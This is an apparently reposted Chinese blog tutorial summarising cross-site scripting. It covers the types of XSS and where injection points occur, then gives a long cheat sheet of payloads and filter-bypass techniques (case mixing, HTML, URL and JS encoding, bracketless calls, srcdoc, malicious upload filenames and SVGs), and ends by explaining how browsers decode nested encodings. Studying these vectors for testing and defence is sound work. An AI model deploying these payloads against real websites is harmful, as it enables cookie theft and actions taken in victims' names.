【原创】XSS攻击总结

目录

一、XSS定义

二、XSS的危害

三、XSS分类

四、可能会出现漏洞的地方

五、攻击方式

六、字符编码和浏览器解析原理


一、XSS定义

xss的形成原理

xss 中文名是“跨站脚本攻击”,英文名“Cross Site Scripting”。

Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading Style Sheets),所以将Cross(意为“交叉”)改以交叉形的X做为缩写。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的脚本代码(HTML、JavaScript),当其它用户访问含有恶意代码的页面,恶意脚本就会被浏览器解析执行,从而达到攻击的目的。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

根本原因

1. 没有对输入进行约束,没有对输出进行编码

2. 没有严格区分“数据”和“代码”

二、XSS的危害

1、用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。

2、攻击者能够在一定限度内记录用户的键盘输入。

3、攻击者通过CSRF等方式以用户身份执行危险操作。

4、XSS蠕虫。

5、获取用户浏览器信息。

6、利用XSS漏洞扫描用户内网。

三、XSS分类

(1)存储型XSS

存储型xss,恶意代码存入了数据库,再取出来,导致的xss

它是将攻击代码提交到了服务器端的数据库或文件系统中,不用构造URL,而是保存在文章或论坛帖子中,从而使得访问该页面的用户都有可能受到攻击,也被称作“持久性xss”。持久性xss比反射型xss危害要大的多。

(2)反射型XSS

反射型xss,一般来说,大部分数据它不会入库,只是把get的数据直接返回到了前端。

反射XSS一般出现在URL参数中及网站搜索栏中,构造好了恶意的链接后,把这个恶意的链接想尽各种办法让用户去点击,或者通过各种手段来加载这个恶意链接,所以也被称为“非持久性xss”。

最直观的就是构造URL欺骗用户点击,URL中构造的参数值,没有进行任何过滤和转义处理就立即显示在页面上,另外一种情况就是在检索框中注入XSS脚本。

DOM-based XSS

一句话概括:DOM-based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。

DOM(Document Object Model),文档对象模型

DOM是以面向对象方式描述的文档模型,这是表示和处理一个HTML或XML文档的常用方法

它定义了表示和修改文档所需的对象、这些对象的行为和属性以及这些对象之间的关系

DOM,可以把它认为是页面上数据和结构的一个树形表示

Dom-based XSS攻击是基于JS脚本程序在操作document对象以及URL地址使用不当而导致的。

一段获取浏览器参数并使用它去更新Web页面的JS代码就很容易被利用。

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。

四、可能会出现漏洞的地方

搜索栏

用户登录入口

留言板

评论

博客日志

错误页面

无参数的位置,也可构造xss攻击

查找所有包含用户输入的入口。

跟踪流入应用程序的每一个数据。

确定数据是否与输出有关系。

如果与输出有关,它是不是原始数据,是不是经过处理的?

五、攻击方式

<  

%3C,URL编码   %253C

&#60; html十进制(分号是可以去掉的,数字前面是可以加多个0的)

&#x3c;html十六进制

\74,js八进制

\x3c,js十六进制

\u003c,jsunicode

PA==,base64编码

所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

常用

<svg οnlοad=alert('111')>

<img src=1 οnerrοr=alert(`222`)>

<marquee οnmοuseοver=alert(/333/)>aaa</marquee>

<a href=javascript:alert(/555/)>M</a>

<body οnlοad=alert(/666/)>

大小写绕过

<sCrIpT>alert(1)</ScRiPt>

<ImG src=1 OnErRoR=alert(1)>

各种弹框形式(弹框、链接注入、框架注入)

<script>alert(1)</script>

<script>alert('1')</script>

<script>alert("1")</script>

<script>alert`1`</script>

<script>(alert)(1)</script>

<script>confirm(2)</script>

<script>prompt(3)</script>

<script>a=alert,a(1)</script>

<script>[1].find(alert)</script> ,javascript:[1].find(alert)

<script>top["al"+"ert"](1)</script>

<script>top[/al/.source+/ert/.source](111)</script>

<script>top.open`javas\cript:al\ert(999)`</script>,打开新的页面

<video src=1 οnlοadstart=print(1)>打开打印机

<script>\u0061\u006C\u0065\u0072\u0074(555)</script> ---Unicode编码,alert

<script>alert(String.fromCharCode(51,51,51))</script> ---alert(333)

<body οnlοad=prompt(2);>

<body οnpageshοw=alert(1)>

<style/οnlοad=alert(3)>

<select autofocus οnfοcus=alert(1)>

<video><source οnerrοr="javascript:alert(1)">

<a>标签

<a href="javascript:alert(1)">Clickme</a>

<a href="javascript:alert`1`">11<a>

<a href=//www.baidu.com>;   

<a href="http://www.baidu.com">xss</a>

<a οnmοuseοver=alert(333)>222

<a οnclick=alert(333)>333

不使用引号

<a href=javascript:1,alert(111)>aaa</a>

<a href=javascript:alert(222)>aaa</a>

不使用双引号 使用单引号

<a href='javascrip&#116&#58alert(3)'>Clickme</a>

使用/

<img/src=x οnerrοr=prompt(33    );> 

空格回车tab

<a href="java    script:alert(2)">Clickme</a>---tab键

使用关键字拆分技巧

未封闭的标签

<svg οnlοad=alert(33)//

<svg οnlοad="alert(333)"

对标签属性值转码

<a href="javascrip&#116&#58alert(3)">Clickme</a>

还可以吧&#01、&#02等字符插到javascript的头部,另外tab&#9 换行符的&#10 回车符&#13可以插到代码任意地方

<a href="&#01;javascript:alert(4)">Clickme</a>(注意分号的使用)

不允许使用括号

<script/x>alert`1`</script>---过滤器查找<script>时使用某些变体,但不检查其他非必要属性

<script/x>setTimeout`alert\x2811\x29`</script>   js 8进制

<script/x>setInterval`alert\x2822\x29`</script>

<svg οnlοad=alert&#40;1&#41>   HTML 10进制

<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">

<body/οnlοad=javascript:window.οnerrοr=eval;throw&#039;=alert\x281\x29&#039;;>

文件上传注入---文件名

当上传的文件名反应在目标页面的某处时使用

"><svg οnlοad=alert(1)>.gif

文件上传注入---svg文件,img图片,html/js文件等

用于在上传文件时在目标上创建存储的xss,将以下内容保存为  xss.svg

<svg οnlοad="alert(1)"/>

xss.gif

<img src=xx:x οnerrοr=alert(1)//">

在线滚动通用xss向量

<p style=overflow:auto;font-size:999px οnscrοll=alert(1)>aaa</p>

<img>标签

<img src=x οnerrοr=prompt(1);> 

<iframe>标签

恶意URL通过各种编码处理后会增加其迷惑性

<iframe/src="data:text/html;base64,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

解码后:<body οnlοad=alert(1)>

<iframe src="javascript:alert('xss');"></iframe>

<iframe src=javascript:alert(111)>

<iframe/οnlοad=alert(1)>

<IFRAME SRC=javascript:alert(String.fromCharCode(72,69,76,76,79))>  

---alert(String.fromCharCode(72,69,76,76,79),W3school解码为  alert(HELLO)

<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

---unicode编码,解码后为,javascript:alert('XSS')

form标签

<form action="Javascript:alert(1)"><input type=submit>

<form οnsubmit=alert(333)><button>

<form><button formaction=javascript:alert(1)>M

<form><input formaction=javascript:alert(1) type=submit>

<form><input formaction=javascript:alert(1) type=image>

svg标签

<svg/οnlοad=prompt(1);>

<input>标签

<input autofocus οnfοcus=alert(333)>

Hidden属性的input标签中XSS的触发方法

http://victim/?returnurl=” accesskey=”X” οnclick=”alert(document.domain)

例如火狐浏览器,alt+shift+X触发该漏洞

<input type="hidden" accesskey="X" οnclick="alert(1)">

<INPUT SRC=”javascript:alert(‘XSS’);”>

<embed>标签,你可以嵌入包含xss的flash

<embed src=”http://3w.org/XSS/xss.swf” ></embed>

<embed src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></embed>

html实体化绕过

攻击的页面,有srcdoc属性,即可绕过html实体

<iframe srcdoc="&lt;script&gt;alert(1);&lt;/script&gt;"></iframe>

HTML5 新增的实体命名编码

&colon; => [冒号]

&NewLine; => [换行]

<a href="javasc&NewLine;ript&colon;alert(1)">click</a>

六、字符编码和浏览器解析原理

(第六部分参考,浅谈XSS—字符编码和浏览器解析原理_Q1n6-CSDN博客

浏览器在解析HTML文档时无论按照什么顺序,主要有三个过程:HTML解析、JS解析和URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。

<a href="javascript:alert(3)">aaa</a>

针对上述a标签,分析一下浏览器的解析顺序

首先HTML解析器开始工作,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情况下URL值为一个正常的URL链接,如:“https://www.xxx.com“,那么URL解析器工作完成后是不需要其他解码的,但是该环境中URL资源类型为JavaScript,因此该环境中最后一步JavaScript解析器还会进行解码操作,最后解析的脚本被执行。

整个解析顺序为3个环节:HTML解码,URL解码,JS解码

test1

URL编码"javascript:alert(1)"="%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29"

放到HTML里发现脚本并没有正常执行,URL解析器不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,被编码的“javascript”没有解码

test2

HTML字符实体编码 "javascript" 、URL 编码 "alert(2)"

HTML编码"javascript"="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;"

URL编码"alert(2)"="%61%6C%65%72%74%28%32%29"

可正常执行

test3

对<a href="javascript:alert(3)">test3</a>做JS编码、URL编码、HTML编码共3层

JS编码:<a href="javascript:\u0061\u006c\u0065\u0072\u0074(3)">test3</a>

URL编码:<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">test3</a>

HTML编码:<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#54;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#51;&#41;">test3</a>

可正常执行

Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为“alert”,而“alert”是一个有效的标识符名称,它是能被正常解析的。

像圆括号、双引号、单引号等等这些控制字符,在进行JavaScript解析的时候仅会被解码为字符串文本,例如:<script>alert('YISRC\u0027)</script>对控制字符单引号进行js编码,解析时\u0027被解码成文本单引号,无法闭合因此不能成功执行。

对应的解析器在相应层解析后可执行,控制字符除外

猜你喜欢

转载自blog.csdn.net/yiran1919/article/details/121559718